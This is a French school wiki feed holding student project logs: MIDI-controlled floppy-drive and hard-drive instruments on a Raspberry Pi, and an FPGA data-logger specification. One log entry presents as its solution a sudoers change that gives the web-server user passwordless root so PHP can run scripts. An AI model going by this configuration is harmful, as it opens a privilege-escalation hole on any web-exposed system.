&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 11/03/2016 &amp;lt;/span&amp;gt;&lt;br /&gt;
Bonjour, je vous propose de faire la caractérisation en fréquence et en gain d'un des disques durs hauts parleurs que vous avez créé avec du matériel de mesure professionnel. Cela permettra de donner une courbe de haute précision et je pourrais me familiariser avec le matériel. J'ai besoin d'un des hauts parleurs et de son ampli avec des connectiques robustes. Si vous êtes d'accord contactez moi.&lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Le projet s'inscrit dans la démarche artistique de M. Lucas PRIEUX, artiste marionnettiste.&lt;br /&gt;
Son souhait est de montrer ce que les nouvelles technologies d'aujourd'hui nous apportent.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dossier de création de la pièce HUMAINS est disponible ici [[http://collectif23h50.com/wp-content/uploads/2015/01/HUMAINS-Dossier-de-cre%CC%81ation-WEB1.pdf]]&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif final du projet est de créer un dispositif comprenant une entrée MIDI (standard pour le son), et des sorties sur lesquelles on&lt;br /&gt;
brancherait des instruments électroniques du type scanner ou lecteur de disquettes.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Le projet se divise donc en différentes étapes :&amp;lt;br /&amp;gt;&lt;br /&gt;
- La première étape est de bien définir le cahier des charges avec l'artiste afin de connaître ses attentes sur ce projet&amp;lt;br /&amp;gt;&lt;br /&gt;
- la seconde étape va être de mettre en place un dispositif (Raspberry Pi) permettant de décoder la trame MIDI reçu sur l'entrée et d'afficher les notes jouées par les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
- la dernière étape s'appuiera sur les volontés de l'artiste et des encadrants.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Matériel nécessaire :&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Raspberry Pi&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Adaptateurs USB-MIDI avec 1 USB et 2 sorties MIDI_IN et MIDI_OUT disponible chez LDLC [[http://www.ldlc.com/fiche/PB00046193.html]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Instruments électroniques: du vieux matériel disponible ici en occasion pour pas cher:[[http://www.informatiqueoccasion.fr/]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Lecteurs de disquettes &amp;lt;/li&amp;gt; (vieux lecteurs disponibles au fabricarium)&lt;br /&gt;
&amp;lt;li&amp;gt; Disque dur &amp;lt;/li&amp;gt; (fabricarium peut-être)&lt;br /&gt;
&amp;lt;li&amp;gt; Imprimante matricielle &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Modem 56k&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Magnétoscope &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Lecteurs CD/ROM &amp;lt;/li&amp;gt; (fabricarium toujours)&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Calendrier prévisionnel===&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Préparation du projet : Mise en place du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
'''2/11/15 :''' Réunion avec les différents acteurs du projet afin de bien fixer les attentes, les volontés de ces derniers.&amp;lt;br/&amp;gt;&lt;br /&gt;
C'est également lors de cette réunion que l'on fixera le cahier des charges et le matériel nécessaire&amp;lt;br /&amp;gt;&lt;br /&gt;
''Résumé de la réunion :''&amp;lt;br /&amp;gt;&lt;br /&gt;
L'objectif de cette réunion était de fixer les attentes et les volontés du porteur du projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans un premier temps, nous avons discutés avec M.PRIEUX du contexte dans lequel était inséré ce projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous avons discutés des fonctionnalités du dispositif. Nous lui avons soumis 2 idées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit jouer en direct sur les instruments électroniques ce qui est joué sur un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit pré-enregistrer une séquence d'instruments électroniques et de la re-jouer au moment voulu&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
M.PRIEUX a souhaité que ces 2 fonctionnalités soient intégrés au dispositif.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a également été question du coeur de notre dispositif. Nous nous sommes tous dit que si l'on utilisait un Arduino, il aurait été obligatoire d'ajouter en plus une Raspberry Pi pour y intégrer le logiciel. Nous avons donc conclus qu'utiliser une Raspberry Pi serait mieux pour éviter l'encombrement et pour disposer de plus de fonctionnalités.&amp;lt;br /&amp;gt;&lt;br /&gt;
Concernant la RP, une distribution Linux spécialisé pour le traitement du son a été évoqué.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a aussi été demandé d'étudier la plage de fréquences des différents appareils afin de répartir les notes sur les instruments.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cahier des charges :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dispositif est donc composé de :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une entrée MIDI afin de brancher un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une Raspberry Pi afin de déterminer les canaux MIDI et de réaliser l'interface Web&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une sortie MIDI pour venir y brancher un synthétiseur de son MIDI afin de synthétiser les sons impossibles à jouer avec les instruments électroniques (possibilité de mise en place d'une deuxième RP muni du logiciel Rosegarden [[http://www.rosegardenmusic.com/]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une carte électronique permettant de venir brancher les différents instruments électroniques&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Notre dispositif devra donc avoir 2 fonctionnalités :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une première fonctionnalité sera de jouer en direct les notes sortant d'un clavier MIDI &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une deuxième fonctionnalité sera de pré-enregistrer une séquence d'instruments électroniques et de la rejouer au moment voulu &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Un petit schéma résumé s'impose :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Synopsis.jpg]]&lt;br /&gt;
&lt;br /&gt;
Sons disponibles avec tout notre matériel :&lt;br /&gt;
&lt;br /&gt;
Ici, un très joli bruit caractéristique d'un modem 56k (Ah, la nostalgie ...) : [[https://www.youtube.com/watch?v=hWNr9FBJhqQ]]&amp;lt;br /&amp;gt;&lt;br /&gt;
La, un très bon morceau joué sur lecteur de disquette : [[https://www.youtube.com/watch?v=lx_vWkv50uk]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Et maintenant, l'impression (on dirait les machines à tickets de caisses ...) avec une imprimante matricielle : [[http://www.dailymotion.com/video/x1coygz_eye-of-the-tiger-joue-par-une-imprimante_]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tout mis en oeuvre : [[http://www.dailymotion.com/video/x2mb45n_jouer-du-nirvana-avc-des-disques-dur-hdd-and-floppy-music-smell-like-teen-spirit_music]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
'''25/01/16 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Réception du matériel (disques dur, lecteurs de disquette, lecteurs CD, scanner et imprimantes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Découverte du fonctionnement des lecteurs de disquettes (brochage, pins à utiliser pour piloter le moteur)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''27/01/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Découverte de la programmation des GPIO sur la RPi avec Python (bibliothèque RPi.GPIO)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours avec Python, nous réussissons à faire vibrer le moteur du lecteur de disquette (en utilisant une PWM et en contrôlant les bonnes broches du floppy disk)&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans une boucle conditionné par des exceptions (try/catch), nous faisons vibrer pendant un certain temps le moteur à des fréquences différentes, en utilisant alternativement les méthodes ChangeFrequency sur l'objet représentant la PWM (p.ChangeFrequency(220) par exemple), et en utilisant la bibliothèque time et la méthode sleep (time.sleep(&amp;lt;durée de la note&amp;gt;))&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Programme pouvant &amp;quot;approximativement&amp;quot; jouer la marche impériale (Star Wars). Petites photos :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:floppy_disk.JPG | 250px | left]]&lt;br /&gt;
[[Fichier:RPi.JPG | 250px | right]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 ===&lt;br /&gt;
&lt;br /&gt;
'''01/02/2016 : '''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Amélioration du programme permettant de jouer la marche impériale (utilisation de 2 tableaux : un contenant la fréquence des notes à jouer, et l'autre contenant la durée des notes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''03/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début d'écriture d'un programme Python permettant de décoder un fichier MIDI --&amp;gt; Conclusion : Utilisation d'une bibliothèque au lieu de tout faire à la main&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur l'imprimante à aiguilles pour piloter le moteur --&amp;gt; SANS SUCCES (Communication série ?)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''04/06/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Écriture du programme communiquant avec l'imprimante a aiguilles en série avec la RPi (langage de description de page (PDL) Epson ESC/P2 pour envoyer les commandes en série à l'imprimante)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
'''10/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Fin d'écriture du programme traitant le fichier MIDI : en sortie, on obtient 3 tableaux : 1 contenant les notes, 1 contenant la hauteur des notes, et 1 contenant les ticks (date d'apparition de chaque événement). Ces tableaux nous serviront à gérer les GPIO pour les disques durs et les disquettes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test sur le disque dur : vibration de la tête de lecture (juste grâce à une alim pour voir si la tête vibrait)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''11/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Transformation d'un disque dur en instrument électronique : vibration de la tête de lecture grâce à une PWM&amp;lt;br /&amp;gt; &lt;br /&gt;
[[Fichier : DD0742.mp4 | center | 250px]]&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Inconvénient :''' Bruit très faible --&amp;gt; Besoin d'une caisse de résonance afin d'améliorer le son provenant de la tête de lecture (à étudier)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
'''24/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Tentative de communication avec le port série sur l'imprimante à aiguilles --&amp;gt; Toujours sans succès ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Au lieu d'utiliser la bibliothèque interne de la RPi pour gérer la PWM et les GPIO, nous utiliserons la bibliothèque WiringPi. Elle offre plus de fonctionnalités que la bibliothèque de base &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début du codage de l'interface WEB :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Choix du serveur WEB : '''lighttpd''' : Pourquoi ? Tout simplement car il est beaucoup plus léger qu'un serveur Apache et qu'il est plus adapté pour les processeurs ARM dont dispose la RPi &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interfaçage entre les scripts Python et Web : '''CGI''' (Common Gateway Interface).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Architecture du serveur WEB et explications : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : archi_serveur.jpg | 600px | center]]&lt;br /&gt;
Explications : Le serveur lighttpd prend sa racine dans le répertoire ''/var/www'' de la RPi. On dispose de 2 répertoires : ''html'' afin de stocker les pages WEB et ''cgi-bin'' afin de stocker les scripts destinés à être exécuté.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lorsque la page WEB demande l'exécution d'un script, ce dernier passe dans l'interpréteur contenu dans le serveur CGI, et le résultat est retourné vers la page WEB.&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''27/02/2016 (et oui, même le week-end, on bosse !) ''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
Grâce au matériel que l'on a chez nous, nous arrivons quand même à travailler sur l'interface WEB.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Problèmes rencontrés avec le codage d'un script pour découvrir wiringPi et CGI (utilisation d'une PWM pour faire tourner un servo-moteur):&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Problème avec les autorisations de l'utilisateur ''www-data'' du serveur : les scripts python (notamment ceux avec wiringPi) doivent s'exécuter en ''root'' pour pouvoir manipuler les GPIO.&amp;lt;br /&amp;gt;&lt;br /&gt;
Solution : Modifier le fichier ''/etc/sudoers'' afin que les scripts exécutés sous l'utilisateur ''www-data'' (serveur) puissent d'exécuter sans demander de mot de passe lors du passage à l'utilisateur ''root''. Et l'exécution des scripts python se fera par du php par la commande ''exec(sudo &amp;lt;chemin/script_python&amp;gt;)''&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
'''29/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de la Raspberry Pi pour aller sur internet, installer et mettre à jour les paquets (modification du fichier ''apt.conf'')&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Installation des différents paquets pour nous permettre de créer le serveur web et de faire tourner le serveur CGI (Paquets installés : lighttpd, fastcgi, php5-cgi, python-dev et python-pip)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'utilitaire PIP pour installer la bibliothèque WiringPi2 (utilisation d'un script shell afin de passer le proxy dans la commande)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration du serveur lighttpd (modules à utiliser, prise en compte du serveur cgi et de l'exécution de scripts python et php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''02/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement du serveur web lighttpd (test avec une page html, et une page php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement de la bibliothèque WiringPi2 et du serveur CGI avec un petit script qui fait clignoter une LED 5 fois (utilité --&amp;gt; Nécessaire pour piloter 1 instrument seul)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Dans la perspective de contrôler plusieurs instruments en même temps, mise en place de threads afin de faire clignoter 3 LEDS en parallèle (utilisation de la bibliothèque ''threading'' de python, redéfinition du constructeur du thread ''__init__'' et redéfinition de la méthode ''run'' (code que va exécuter le thread) --&amp;gt; Vidéo à venir&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Problème : WiringPi ne gère que des PWM soft et ne gère pas les successions d'écriture. C'est donc inadapté à notre problème. On revient donc à la solution de départ qui est d'utiliser la bibliothèque de base de la RPi pour gérer les GPIO.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test d'un fichier HTML appelant un script PHP qui exécute un script python permettant de jouer la marche impériale sur 1 FDD --&amp;gt; SUCCES (vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test pour gérer 2 FDD via les threads --&amp;gt; A poursuivre &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''03/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test pour gérer 2 FDD via threads --&amp;gt; Les 2 FDD jouent la même musique (Vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de git pour passer par le proxy (script shell) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Installation de la bibliothèque python-midi afin de gérer les fichiers MIDI&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lorsque nous lançons le script ''mididump.py'' qui est en charge de &amp;quot;décortiquer&amp;quot; le fichier MIDI, la sortie est une (longue) liste de commandes qui sont de la forme suivante : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;midi.noteOnEvent(tick=&amp;lt;tick&amp;gt;, channel=&amp;lt;channel, data=[&amp;lt;numero de la note&amp;gt;,&amp;lt;velocite&amp;gt;]&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
A l'aide de notre script écrit précédemment afin de sortir les tableaux correspondant au morceau (3 tableaux :notes, vélocité, ticks), nous pourrons ainsi passer en paramètre de nos threads ces 3 tableaux, et les PWM feront le reste.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration du premier site web avec du CSS&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Recherche sur l'interprétation des &amp;quot;ticks&amp;quot; MIDI --&amp;gt; Ce serait l'instant où la note est joué, cet instant étant considéré par rapport à l'évènement précédent. Une modification de notre programme qui gère les PWM est à effectuer pour pouvoir gérer ces ticks.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
'''07/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Debut de l'association entre l'interface WEB, le programme python qui traite les fichiers MIDI, et les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interprétation des ticks MIDI : Modification du programme en conséquence - Récupération des constantes de temps importantes telles que la résolution temporelle et la signature des clés (clé de DO, clé de SOL, utile pour la partition) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Création d'une association entre les numéros de notes et les fréquences de ces dernières : utilisation d'une table d'association clé-valeur &amp;lt;K,V&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; K : clé qui représente le numéro de la note&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;V : Fréquence associée à la note K&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''09/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Visite de M.PRIEUX dans les locaux de projet. Nous lui avons fait une démonstration de ce que nous avons fait depuis le début du projet (2 FDD qui jouent la même musique, le HDD transformé en HP, vibration de la tête d'un HDD avec une PWM)&amp;lt;br /&amp;gt;&lt;br /&gt;
Discussion sur les poursuites du projet, ainsi que sur les performances de nos instruments.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur les fichiers MIDI. Ca fonctionne, ca joue, mais les notes n'arrivent pas dans les temps voulu. C'est dû à une mauvaise interprétation des ticks MIDI. Le programme est donc à revoir&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Liens ==&lt;br /&gt;
&lt;br /&gt;
[https://bytecode77.com/coding/electronics/floppydrivemusic floppy drive music]&amp;lt;br/&amp;gt;&lt;br /&gt;
[http://georgewhiteside.net/projects/diskette-organ/ Disk organ]&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
&lt;br /&gt;
Tous les codes sont présents dans notre GIT&amp;lt;br /&amp;gt;&lt;br /&gt;
https://archives.plil.fr/troj/IMA4_S8_P45&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27736</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27736"/>
				<updated>2016-02-23T19:37:54Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Fichiers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
